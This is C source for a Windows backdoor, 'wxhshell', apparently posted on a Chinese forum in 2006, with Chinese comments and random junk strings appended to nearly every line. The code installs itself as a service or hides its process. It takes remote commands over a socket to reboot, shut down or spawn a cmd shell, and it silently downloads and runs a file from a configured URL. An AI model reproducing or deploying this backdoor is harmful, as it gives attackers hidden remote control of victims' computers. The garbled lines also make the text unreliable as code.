  <i<J^-W  
  // 帮助 :KH g&ZX7  
  case '?': { Q.bXM?V)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B*qi_{Gp  
    break; Pih tf4i  
  } !y#"l$"xK  
  // 安装 sD<a+Lw}x  
  case 'i': { ZjT,pOSyb  
    if(Install()) []x#iOnC&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYHj~t  
    else XoXM ^*Vk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ,t}vz 7  
    break; -_ I _W&  
    } kM!kD4&  
  // 卸载 d; [C6d  
  case 'r': { ?8HHA: GP  
    if(Uninstall()) %/EVUN9=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /TE_W@?^  
    else U T>s 5C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T _M!<J  
    break; JgG$?n\  
    } .R`5 Qds*l  
  // 显示 wxhshell 所在路径 )js)2L~  
  case 'p': { hS_6  
    char svExeFile[MAX_PATH]; ?=>+LqP  
    strcpy(svExeFile,"\n\r"); S(QpM.9*  
      strcat(svExeFile,ExeFile); dCb`xR}  
        send(wsh,svExeFile,strlen(svExeFile),0); ,?PTcQF  
    break; %el"BSB  
    } YpQ7)_s ?  
  // 重启 U2$d%8G  
  case 'b': { |\w=u6jX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^*S ,xP  
    if(Boot(REBOOT)) wU8Mt#D!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ADZ};:]  
    else { ~a%Z;Aj  
    closesocket(wsh); ~7Y+2FZ  
    ExitThread(0); V=)_yIS  
    } jN e`;o  
    break; 8m5p_\&  
    } _a_7,bk5  
  // 关机 QFfK0X8cC  
  case 'd': { Q*~LCtrI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W egtyO  
    if(Boot(SHUTDOWN)) Z,`iO %W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8'C\R|J+  
    else { Fd#?\r.  
    closesocket(wsh); aHlcfh9|  
    ExitThread(0); nJbtS#`G4  
    } _4TH4~cY  
    break; qd+h$ "p  
    } W>!_|[a  
  // 获取shell ekI2icD  
  case 's': { A2^\q>_#  
    CmdShell(wsh); jATI&oX  
    closesocket(wsh); cbeLu'DWB.  
    ExitThread(0); S2n39 3  
    break; yPM3a7-Bm  
  } U QE qX  
  // 退出 A01AlK_B  
  case 'x': { F1iGMf-8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8iW;y2qF  
    CloseIt(wsh); -r#X~2tPzD  
    break; ##KBifU"  
    } rxr{/8%f%  
  // 离开 pkP?i5 ,  
  case 'q': { b:=TB0Fx?n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rI^zB mrr  
    closesocket(wsh); X_qf"|i  
    WSACleanup(); g wz7krUTe  
    exit(1); rX*H)3F  
    break; Jm|+-F@I  
        } wg ^sGKN  
  } b'P eH\h{  
  } w0|gG+x jS  
79nG|Yj|\  
  // 提示信息 u4m,'XR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3:5 &Aa!  
} <Gav5R c  
  } iY`%SmB  
MWI4Y@1bS  
  return; |nbf'  
} sBu=e7  
VmCW6 G#M  
// shell模块句柄 \Z^TXyu   
int CmdShell(SOCKET sock) .udv"?!z  
{ i.=w]S j  
STARTUPINFO si; iP@ZM =&wz  
ZeroMemory(&si,sizeof(si)); wx\v:A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z?pnj8h-&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x&^_c0fn  
PROCESS_INFORMATION ProcessInfo; tBNoI  
char cmdline[]="cmd"; 2LNRtW*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a,3j,(3  
  return 0; cHcmgW\4  
} J~B<7O<?!1  
7Q7-vx  
// 自身启动模式 e2z h&j  
int StartFromService(void) 'D6T8B4  
{ ]V-W~r=  
typedef struct ` L >  
{ 76V 6cI=+  
  DWORD ExitStatus; I<Ksi~*i  
  DWORD PebBaseAddress; :gerQz4R8  
  DWORD AffinityMask; kxp) ;  
  DWORD BasePriority; 0E?jW7yr  
  ULONG UniqueProcessId; ? 9! Z<H  
  ULONG InheritedFromUniqueProcessId; \ W?R  
}   PROCESS_BASIC_INFORMATION; v.Q(v\KV5  
ZeUvyIG  
PROCNTQSIP NtQueryInformationProcess; '7D,m H  
4%2~Wi8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !l|5z G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cZH-"  
W3Dc r@Dy  
  HANDLE             hProcess; v$(lZa1  
  PROCESS_BASIC_INFORMATION pbi; 61/.K_%I.  
LVc4CE f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O:TlIJwW  
  if(NULL == hInst ) return 0; #mZpeB~   
CqHK%M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rp*R:3 C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~zil/P8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S{FROC~1R  
%YSpCI  
  if (!NtQueryInformationProcess) return 0; ?q(\=;Y  
&ZghMq~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `6 /$M!4$  
  if(!hProcess) return 0; \%/#x V  
0VckocF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pWPIJ>2G:  
A,V\"KU  
  CloseHandle(hProcess); BYO"u6  
TpmwD{c[\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $={:r/R`i  
if(hProcess==NULL) return 0; T21ky>8E  
e%4:) IV!;  
HMODULE hMod; JT "B>y>  
char procName[255]; Dq36p${ \W  
unsigned long cbNeeded; P&j (,7  
)+6v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); psnTFe  
K`/`|1  
  CloseHandle(hProcess); YY&l?*M<  
S-7'it!1  
if(strstr(procName,"services")) return 1; // 以服务启动 D\@m6=L  
VR+<v   
  return 0; // 注册表启动 l IUuA  
} : p{+G  
'"<6.,Ae  
// 主模块 =Zu^80/  
int StartWxhshell(LPSTR lpCmdLine) /n5F(5<  
{ O(tX8P Q5N  
  SOCKET wsl; }tH[[4tw,  
BOOL val=TRUE; ~XyW&@  
  int port=0; fwrJ!j  
  struct sockaddr_in door; "t({D   
5DXR8mLoaJ  
  if(wscfg.ws_autoins) Install(); )I^2k4Cg"  
Nc :({@I  
port=atoi(lpCmdLine); ({-GOw46  
n6*En7IVh  
if(port<=0) port=wscfg.ws_port; !L;\cl  
P6 ;'Sza  
  WSADATA data; Di@GY!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N[<H7_/3  
r'dr9"-{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "p/j; 6H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /,MJq#@K  
  door.sin_family = AF_INET; B|C/ Rk6?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +$$$  
  door.sin_port = htons(port); #'-Sh7ycW  
UK$ms~H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `6[I^qG".  
closesocket(wsl); ^K7ic,{  
return 1; eVt$7d?Jw  
} aWwPvd3  
v~T7`  
  if(listen(wsl,2) == INVALID_SOCKET) { :Gu+m  
closesocket(wsl); p}|.ZkyN  
return 1; @WQK>-=(3  
} G [:N0{v5  
  Wxhshell(wsl);  |y h\  
  WSACleanup(); xXY.AoO6  
:U d  
return 0; rwniOQe  
DNR~_3Aq  
} 1=|7mehL%  
{^ m(,K_  
// 以NT服务方式启动 ?_oF:*~\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [F_/2+e  
{ [97KBoSU  
DWORD   status = 0; e/*$^i+S  
  DWORD   specificError = 0xfffffff; |.F  
op"$E1+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J0 k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :-iMdtm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ja]?&j  
  serviceStatus.dwWin32ExitCode     = 0; Z1ALq5  
  serviceStatus.dwServiceSpecificExitCode = 0; kW`r=u  
  serviceStatus.dwCheckPoint       = 0; 'DCFezdf3  
  serviceStatus.dwWaitHint       = 0; 5jgdbHog]  
j}BHj.YuP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { F'Kk\f%:  
  if (hServiceStatusHandle==0) return; Zes+/.sA}]  
Wxk x,q?  
status = GetLastError(); Nrah;i+H\o  
  if (status!=NO_ERROR) Ku/~ N#  
{ ~XydQJ^*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9D 0dg(  
    serviceStatus.dwCheckPoint       = 0; -UZ@G~K  
    serviceStatus.dwWaitHint       = 0; ]&ixhW  
    serviceStatus.dwWin32ExitCode     = status; 4D$;KokZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; g|Y] wd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O<j PGU  
    return; {/ LZcz[  
  } 9'DtaTmGW  
O1D6^3w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6cdMS[_SD(  
  serviceStatus.dwCheckPoint       = 0; ?sBh=Ds  
  serviceStatus.dwWaitHint       = 0; B/J>9||g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hH->%*  
} v! 42 DA)  
ckjrk  
// 处理NT服务事件,比如:启动、停止 ,;<RW]r-P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sBK <zR  
{ 7 uMd ZpD  
switch(fdwControl) T *I?9d{k  
{ tu>{  
case SERVICE_CONTROL_STOP: iB1i/l  
  serviceStatus.dwWin32ExitCode = 0; RGIoI ]_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BPqGJ7@  
  serviceStatus.dwCheckPoint   = 0; jJ3zF3Id  
  serviceStatus.dwWaitHint     = 0; 0@5E|<A  
  { 6yu]GK} es  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "BKeot[""p  
  } Z,c,G2D  
  return; {kLGWbo|Q  
case SERVICE_CONTROL_PAUSE: D6~+Y~R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8L5!T6+D&  
  break; #fs|BV !  
case SERVICE_CONTROL_CONTINUE: {%.Lk'#9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4KI [D{  
  break; sM\lO  
case SERVICE_CONTROL_INTERROGATE: (X+s-4%  
  break; m ,>  
}; p<`+sf}A:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s$DrR  
} pi@Xkw  
!r+IXuqV,!  
// 标准应用程序主函数 S2C]?6cTq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W~ULc 9  
{ 6QZ5|T ]  
q (+ZwaV@  
// 获取操作系统版本 C+F*690h  
OsIsNt=GetOsVer(); !umEyd@ "  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m"-[".-l-  
b8BD8~;  
  // 从命令行安装 @!Hr|k|  
  if(strpbrk(lpCmdLine,"iI")) Install(); gVU1Y6.  
`nJu?5  
  // 下载执行文件 i2Jq|9,g  
if(wscfg.ws_downexe) { !&] z*t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oc{EuW{Ag  
  WinExec(wscfg.ws_filenam,SW_HIDE); [U\(G  
} =l942p  
d"~(T:=r  
if(!OsIsNt) { rrs"N3!aT  
// 如果时win9x,隐藏进程并且设置为注册表启动 99OD= pxQ  
HideProc(); e kQrW%\3  
StartWxhshell(lpCmdLine); BF8"rq}r0  
} X6RQqen3:  
else Uh|>Skic4  
  if(StartFromService()) Qu%D  
  // 以服务方式启动 Di Or{)a  
  StartServiceCtrlDispatcher(DispatchTable); 6'OO-o  
else XidxNPz0^  
  // 普通方式启动 {hqAnZ@]vr  
  StartWxhshell(lpCmdLine); F9XT lA  
!:fv>FEI9  
return 0; NvtM3  
}
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只看该作者 1 发表于: 2006-10-10
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